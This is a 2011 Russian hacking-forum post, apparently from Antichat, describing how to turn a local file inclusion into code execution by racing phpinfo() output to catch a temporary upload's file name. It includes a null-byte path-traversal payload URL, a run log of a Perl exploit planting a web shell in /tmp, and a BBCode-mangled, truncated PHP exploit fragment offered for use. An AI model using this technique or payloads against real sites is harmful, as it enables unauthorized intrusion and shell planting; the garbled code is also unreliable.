
26.05.2011, 21:14
|
|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
|
|
Кстати, хотелось бы обратить внимание на заметки Електа и Шанкара в теме: /thread51096.html
Сообщение от Elekt
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]<font color="White">В продолжение "<font color="YellowGreen">Инклуд временного файла через PHPINFO()</font>".
Поковырялся я тут с сабжем. Есть что вам рассказать.
Действительно, временный файл удаляется намного раньше чем мы его успеваем считать с вывода <font color="YellowGreen">phpinfo()</font>.
Однако, в том случае, если после вызова пхпинфо идет еще код, то чем дольше этот код выполняется, тем больше у нас шансов успеть получить имя временного файла до его удаления.
Пусть есть сервер <font color="red">www.target.com</font>
На нем есть вывод <font color="YellowGreen">phpinfo()</font> - <font color="Red">http://www.target.com/i.php</font>
А также инклуд - <font color="Red">http://www.target.com/index.php?page=[LFI]</font>
Казалось бы, мы не можем увеличить время выполнения i.php , а значит ничего не выйдет.
Но это не так.
Мы можем подключить локально <font color="YellowGreen">i.php</font> через имеющийся инклуд, а поскольку после инклуда есть еще код , то мы получаем бонусное время задержки, которого при удаче может вполне хватить!
<font color="Red">http://www.target.com/index.php?page=../../../../../../../www/site/htdocs/public_html/i.php%00</font>
Тогда отправив на такой URL пост-пакет с файлом содержащем PHP-код, построчно считываем ответ.
И как только получаем имя временного файла - тянем время не разрывая коннекта, и тут же параллейно инклудим загруженный временный файл с PHP-кодом.
Теоритически атаку можно применить к большому числу движков, имеющих инклуд и вывод <font color="YellowGreen">phpinfo()</font> в админке.
Например тотже <font color="YellowGreen">phplive</font>, где при <font color="YellowGreen">magic_quotes=on</font> или без доступа к <font color="YellowGreen">/super</font> нельзя загрузить шелл.
Простенький эксплоит, автоматизирующий процесс, прилагается.
Я оставил закоментированными дополнительные поля - если потребуется - их можно легко заполнить необходимыми данными, например кукисом или реферером.
Эксперимент успешно проведен в локалке на файле с вот таким кодом:
1.php
</font>[COLOR="#007700"][/COLOR][/COLOR]
2.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
Лог работы для примера:
Код:
perl phpinfo_lfi.pl" -p "/var/www/html/1.php" -l "http://192.168.1.200/2.php?page="
[+] HOST "192.168.1.200"
[+] PHPINFO "/var/www/html/1.php"
[+] LFI "http://192.168.1.200/2.php?page="
[-1-] Temp shell uploading. Please wait... Ok!
[-2-] Searching temp path to shell... Ok!
[+++] Temp path to shell found: "/tmp/phph3444w"
[-3-] Try to create new shell... Ok!
[+++] New shell created successfully: "/tmp/phph3444wshell"
[i] http://192.168.1.200/2.php?page=../../../../../../../../../../..
/../tmp/phph3444wshell
По идее надо испытать на админках в разных двигах, где выполняются условия.[/COLOR]
Вполне работоспособный метод несмотря на дату опубликования. Правда вся сложность заключается именно в том, что после инклуда должен идти код, на интерпретацию которого уходит некоторое время, которое даст шанс подключить залитый нами шелл. Вот сплоит:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]"[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][/COLOR]
|
|
|